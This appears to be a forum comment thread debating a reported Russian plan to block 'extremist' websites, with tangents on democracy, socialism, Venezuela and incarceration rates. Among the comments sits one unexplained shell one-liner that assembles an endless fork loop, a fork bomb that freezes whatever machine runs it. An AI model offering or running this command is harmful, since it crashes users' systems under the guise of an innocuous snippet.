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New "Iron Curtain" for Russian Internet
Dionysius, God of Wine and Leaf, points out a story about the Russian government's interest in expanding anti-extremism laws to include the blocking of websites and ISPs. The laws would match those already in use for the country's print media. Russian internet users may soon be forced to deal with the same issues facing Chinese citizens. Quoting:
"An official at the Russian prosecutor's general office, Vyacheslav Sizov, told the Russian-language newspaper Rossiiskaya Gazeta that any web site that is determined to host what he terms 'extremist material' would be blocked from being accessible from within the Russian Federation. Given the Putin government's history with the media, 'extremist material' may be very broadly interpreted as any content unfriendly to the interests of the Russian government."
Just a few days ago there was a story here about new Russian law requiring Wi-Fi registration. It turn out they would require registration of commercial and non-standard equipment. Earlier there was a story about creating an isolated Russian Internet. It turned out they just want to use Cyrillic letters in domain names. There were many stories like this before and each time they were twisted to cause cries about dictator Putin and slavish Russians. Are these posted by "message force multipliers"?
I don't think the US (not sure about Europe) even need such. Those who are interested in information and gather and disseminate it are often quickly labeled as conspiracy theorists. Most others simply don't care. (large generalizations here of course)
"Thanks for all the money you paid to us. We've used it to buy off ISO among other things" -Microsoft
Of course in the marketplace of ideas, you're allowed to try to sell anything no matter how quirky. But that does not mean that all ideas will sell equally well. Some ideas will be popular like iPods and some will be unpopular like feces brown Zunes.
Maybe you're the indoctrinated one, and you only believe in Socialism because you avoid reading anything that disagrees with your preconceptions. Certainly what I've read about planned economies and dictatorships of the proletariat makes me think they just end up making most people poor, unfree and unhappy while a spoiled, vicious elite wields absolute power. If someone seriously advocated them to me, I'd argue with them just like people argue with you.
From what you're saying you'd be happier in a country where no one argues with Socialist ideas. Now I've read enough about those places to tell you that you'd probably end up in a concentration camp for unorthodox thought. It's the idealists and true believers that end up getting martyred, not the vast mass of people that are basically uninterested in politics.
And incidentally the fact that you're able in America to read only progressive media that agrees with you while other people are free to watch only Fox news that agrees with them tells me that the government is not indoctrinating people, it's more that they indoctrinate themselves. Which is fair enough of course, they will all end up being wrong politically but in different ways.
I think of it as error terms from the Platonic ideal set of policies that no individual can know. Imagine that the political spectrum is represented as a two dimensional line. The far left have a large negative number and the far right have large positive ones. The average is zero. Now the average may not coincide with the Platonic ideal of course, since there are some key facts that no one knows. No one can know how well the policies being debated will actually work in practice of course. But the average is not bad per se, just not perfect. It is much better than fringe ideas.
You can think of the democratic process - free elections and a free press - as averaging out all the large individual errors to produce a smaller error in the policies of the governing party which will try to get elected by having policies that most people support.
Of course if I were on the far left or the far right this process would work very much against me. But to me that's the point of democracy, a few people at the fringes of the political spectrum end up not having any power at all ever and the vast mass of centrists get to compete for it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It is easy to tailor ones argument over issues as open ended as this one. If you have an end in mind, you can certainly reach it through a variety of logical routes such as the "free press" indoctrinating the masses. Of course the free press is going to do this. People do not watch the news to not believe it in ANY country. They take bits and pieces of it, some people take more than others.
I strongly believe that while one can turn on the television and be disheartened by Faux news, the fact that information is out there that is readily available sets America apart from countries such as Russia and China. None of us can really relate to how life must be in a country such as N. Korea. Drawing parallels from these countries to America is a bit cynical, no? Is it not belittling the extreme censorship they endure?
You cant expect the masses to get it, thats why they have their title as the masses. While one could argue that the masses control who gets elected, I think it is just as easy to argue that the masses do not know what they are getting in a representative.
Long gone are the days where candidates actually take meaningful stances on issues. Even campaign promises can quickly be broken due to "unexpected" budget cuts.
I believe our founding fathers were quite familiar with this idea, and hence decided that we should not govern our selves directly, since we clearly do not know what is best for us.
Now whether the people making the decisions in America... that is a whole different nut to crack...
Stating the obvious: There is a lot of wisdom in the PP and it represents a measured and thougtful response to the policies of the U.S. these past seven years. We've given up the moral high ground by conducting a preemptive war in Iraq and handed a huge opportunity to Putin. If Putin is a monster, we have helped making him what he is. This does not erase his responsibility, nor does it let the Russian people off the hook. Nevertheless, the U.S. became intoxicated with the heady sense of being the world's lone superpower, and acted as though the use of this power (in the raw) could impose freedom and democracy on the world. We should learn our lessons and strive for a different future. It will take generations to undo the damage. It WILL NOT happen if the U.S. increasingly copies the closed societies it supposedly loathes, in the pursuit of "security".
Ironically enough, most western mass media plays along by creating an image of Russia that has little in common with what is actually happening here. Not saying the western mass media is to blame, but it's most certainly a factor.
On a brighter note, it's not all that bad as it may seem. These tricks 'only' work with the generally badly educated population, and lack of a proverbial 'middle class' which is about the worst thing about today's Russia. If said middle class will develop and achieve a certain threshold, the process will become irreversible and no iron curtain policies will be sustainable.
Let me restate: the way I understand it, having a sizable middle class is not compatible with any iron curtain policies whatsoever. And as a middle class is like a pre-requisite to be able to compete in today's globalized world, I hope these attempts at creating an informational shield are just convulsions of the old system where people would just blindly believe what their government tells them to.
How do you get modded as +5 Insighful for that post? First you quote the nytimes! Then you write an insinuating statement like we live in some police state and if you say something or look the wrong way then you could just get thrown in jail! That's all BULLSHIT! I think your post is 1. offtopic, and 2. Troll. You make some dramatic statement and that is insightful....HAHA! How about this. People stop breaking the laws and we'll stop putting them in jail. Its really that easy. We don't just make shit up. We have this thing called innocent until proven guilty...it actually works. Maybe you don't agree with some of the laws against drug or prostitution. But here in America the PEOPLE vote in our elected officials, and those officials make these laws. Ironically enough the majority of the people in America SUPPORT the anti drug laws and anti prostitution laws and until the people change their mind it will stay that way. So if you don't like it then its time for you to run for office and get out your message and change it, or you can just leave and live somewhere else.
Lies, lies and more lies.
Better laugh off and relax.
And who control the "cooperatives"? Do you really think PEOPLE do it? As people would control every soviet in CCCP. Yes, just like that. Don't be a fool. That every single south american banana republic propaganda over the centuries and you're going to see the same. I'm South American myself (Brazilian). And I'm sick and tired of it.
I loved your Wikipedia reference.
"% of Venezuelan households reached: N/A" for every single TV channel.
There's no free broadcaster in Venezuela. Smallish local channel or not active channels doesn't count. There's was a single private broadcaster and it was shutdown by the government, because it was non supportive of current government.
Grow up. Get real references. And go see a slum near Caracas. And you're going to find people really like Chaves. Because he gave them food. And you're going to see that they'll need it forever. Because that's give power forever to the government. "Populismo" has been around for a long, long time and it's not a new form of socialism.
That's how these kind of thing works. Poor people get some "Pai dos Pobres" (Poor People Father, or something like that) that gave them food and are going to need him forever. No sustaintable economic growth, no real educational (in free thiking) policies and so on.
He's just a bastard and nothing more. Like many before him. Like many will be long after he is forgotten and gone.
Funny, reviewing my post it looks like I'm a conservative blasting off a collectivism-centered government. And more funny I am not. But there's no salvation on things like Chaves. Populismo has been around a long long time and it's nothing new. Just the same old crap.
English is not my first language. Corrections and suggestions are welcome.
go to some of those places with low prison populations, rampant crime and corruption, and ask some residents there what they think about the discrepancy. i don't think you fill find patriotic pride in their response. i think you will find that people living in places with low prison populations and huge corruption would love to see some more american style prison population levels
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
The Internet as it stands causes governments, regardless of party, left/right leaning, democratic, heriditary, authoritarian, fascist, or progressive, way more problems than it solves.
1. It makes many laws nearly impossible to enforce on people in your country (the various laws in France banning Holocaust denial, globalised P2P in less RIAA/MPAA friendly countries).
2. It makes it easier for corporations and other employers to provide services and product in your country while employing few if any of your citizens.
3. It creates a tax-gathering nightmare for revenue officials.
4. It provides free and open access for foreigners who are inclined to break your laws, and exploit and defraud your citizens. Commercially operated botnets and the total hijacking of e-mail for spam, protected with a wink and a nod by corrupt officials and organized crime sponsors are just the start.
5. Foreign militaries, paramilitaries, intelligence agencies, and terrorist groups have a direct, hard to trace, and nearly impossible to stop communications line into your country, on top of a map to attack your critical network infrastructure (and physical infrastructure too, if you're like the US and are stupid enough to connect power plant control systems directly to the Internet).
6. Critical Internet infrastructure, and new development is often at the whim of an unfriendly or hostile government. (though this government is generally the US in just about every case, with its control of ICANN)
Again, this is governments. The people don't like a lot of the negatives too, and that means that in general they are going to be pleased if action to cut off "bad actors" from flooding their inboxes with spam, or stopping the US government from controlling the DNS system, or the Chinese military from attacking their country, or Russian hackers taking their entire country offline if they do something that Russia doesn't particularly like. The fact that it gives governments nothing but nightmares is eventually going to create a lot of little internets, with countrycountry access governed by treaty. The Wile West was tamed a long time ago, and the Internet will be as well, just like every other frontier. You've just got to create a new one.
The reality is that US law enforcement is very good at catching certain TYPES of criminals, like petty drug offenders (BTW, most people in jail for gun offenses are really there for drug offenses). Because of "conspiracy" laws it's now incredibly easy to pin drug crimes on people, so we have very high conviction rates for this particular crime. We have very low conviction rates for corporate fraud, for example, because those people can actually hire/bribe police, lawyers, judges, politicians, etc. i wouldn't expect one country or another to have a lot more criminals than the next. This is batshit crazy. Do you really think the cultural environment doesn't contribute to the level of crime? Do you REALLY think their are the same number criminals per capita in, say, Iraq, Congo, or even Russia as there are in the USA? scandinavian countries and finland are dark and cold. the people there are usually morbid or drunk. hey, that's not a smear, don't take my word for it, ask any swede or dane or finn, they'll tell you the same. so the criminals there are passed out or its too cold to go outside Well, I'm of Danish descent and I find this pretty offensive. Yeah, Danes drink a lot. Americans drink a lot too and it seems the drunker they are the more crimes they want to commit, so this reasoning doesn't follow.
Most American criminals are in jail for drugs. One big difference between Denmark and the USA is that marijuana, cocaine, heroin, etc. are either de-facto legal or the penalties are very low. This alone could account for the low rate of incarceration in Denmark, but there's more to the story. Most people who end up in jail are effectively there because they're poor (this is easily proven). Danish society is much more egalitarian than the USA, so poor people that would turn to street crime in the USA (like drug addicts) have access to public assistance, housing assistance, and drug treatment. Prostitution is also legal in DK. So all of this together means there is little street crime. Relatively tight regulations means less fraud (though higher costs). Law enforcement tends to concentrate on teenagers, domestic violence (pretty uncommon in DK), traffic, and the occasional serious crime (like murder).